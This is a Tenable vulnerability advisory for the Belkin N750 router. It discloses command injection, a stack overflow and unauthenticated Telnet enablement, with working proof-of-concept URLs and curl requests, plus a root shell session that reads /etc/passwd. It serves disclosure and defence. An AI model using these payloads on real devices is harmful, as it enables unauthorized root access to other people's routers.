Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Belkin N750 F9K1103 v1 Multiple Vulnerabilities

Critical

Synopsis

While following up on earlier research into Belkin's N750 F9K1103 v1 wireless router, Tenable found four new vulnerabilities. All the vulnerabilities are exploitable without authentication through the web interface.

CVE-2018-1143: Twonky Blind Command Injection

An unauthenticated user can execute commands via twonky_command.cgi by encapsulating the command in backticks. The following URL will execute the command ping 192.168.1.61:

http://192.168.1.175:8080/twonky_cmd.cgi?c=drive_added?path=/tmp/%60ping%20192.168.1.61%60

CVE-2018-1144: Proxy.cgi Command Injection

An unauthenticated user can execute commands via proxy.cgi by encapsulating the command in backticks and using ${IFS%?} when a space is required. The following proof of concept executes cat /proc/cpuinfo:

albinolobster@ubuntu:~$ curl 'http://192.168.1.175:8080/proxy.cgi?url=`cat$\{IFS%?\}/proc/cpuinfo`'
wget: not an http or ftp url: system type		: Ralink SoC
processor		: 0
cpu model		: MIPS 74K V4.12
BogoMIPS		: 249.34
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 32
extra interrupt vector	: yes
hardware watchpoint	: yes
ASEs implemented	: mips16 dsp
VCED exceptions		: not available
VCEI exceptions		: not available

unaligned_instructions	: 379

CVE-2018-1145: Proxy.cgi Stack Buffer Overflow

A stack buffer overflow occurs in libcfg.so when a remote unauthenticated user provides an long url parameter via proxy.cgi. The function EXEC_PROXY_CMD in libcfg.so does not validate that the url parameter's value will fit within a stack buffer before passing it to sprintf. An example request that triggers this vulnerablity follows:

http://192.168.1.175:8080/proxy.cgi?url=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2018-1146: Enabling Unauthenticated Telnet

By default the router has Telnet disabled. However, an unauthenticated remote user can enable Telnet using the following URL:

http://192.168.1.175:8080/set.cgi?n=TLNET_EN&v=1

At first this doesn't appear to do anything. However, when the router is rebooted unauthenticated Telnet will spawn on the LAN side of the router.

albinolobster@ubuntu:~$ telnet 192.168.2.1
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.

BusyBox v1.7.2 (2016-10-12 10:13:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# cat /etc/passwd
root::0:0::/:/bin/sh
bin:x:1:1:bin:/bin:
ftp:x:14:100::/mnt/shared:/bin/false
avahi:x:70:70:Avahi daemon:/:/bin/false
avahi-autoipd:x:71:71:Avahi autoipd:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
administrator:x:0:100:Administrator:/mnt/shared:/bin/bash

Solution

No solution currently exists.

Disclosure Timeline

07/07/17 - Tenable sends a writeup and PoC to [email protected].
07/07/17 - Belkin acknowledges receipt and confirms 3 vulns. Asks for more details on enabling telnet.
07/10/17 - Tenable explains to Belkin that the device needs to be rebooted in order for the telnet process to spawn.
07/12/17 - Belkin confirms the fourth vuln (enabling auth-less Telnet). Requests Tenable's public key.
07/12/17 - Tenable sends public key.
07/17/17 - Belkin informs Tenable that they are working with the OEM.
08/17/17 - Researcher pings Belkin on current status
08/17/17 - Belkin indicates a fixed firmware image has been produced but it needs to go through QA. Estimates 90 days until release. Belkin asks if Tenable plans on disclosing.
08/17/17 - Tenable confirms intention to disclose in the future.
11/07/17 - Tenable asks for an update.
11/07/17 - Belkin sends autoresponse that [email protected] is no longer being monitored.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2018-08
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
10.0 / 9.0
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
Nessus Plugin ID: 109059
Affected Products:
Belkin N750 F9K1110 v1 Firmware 1.10.22
Risk Factor:
Critical

Advisory Timeline

04/16/2018 - [R1] Initial Release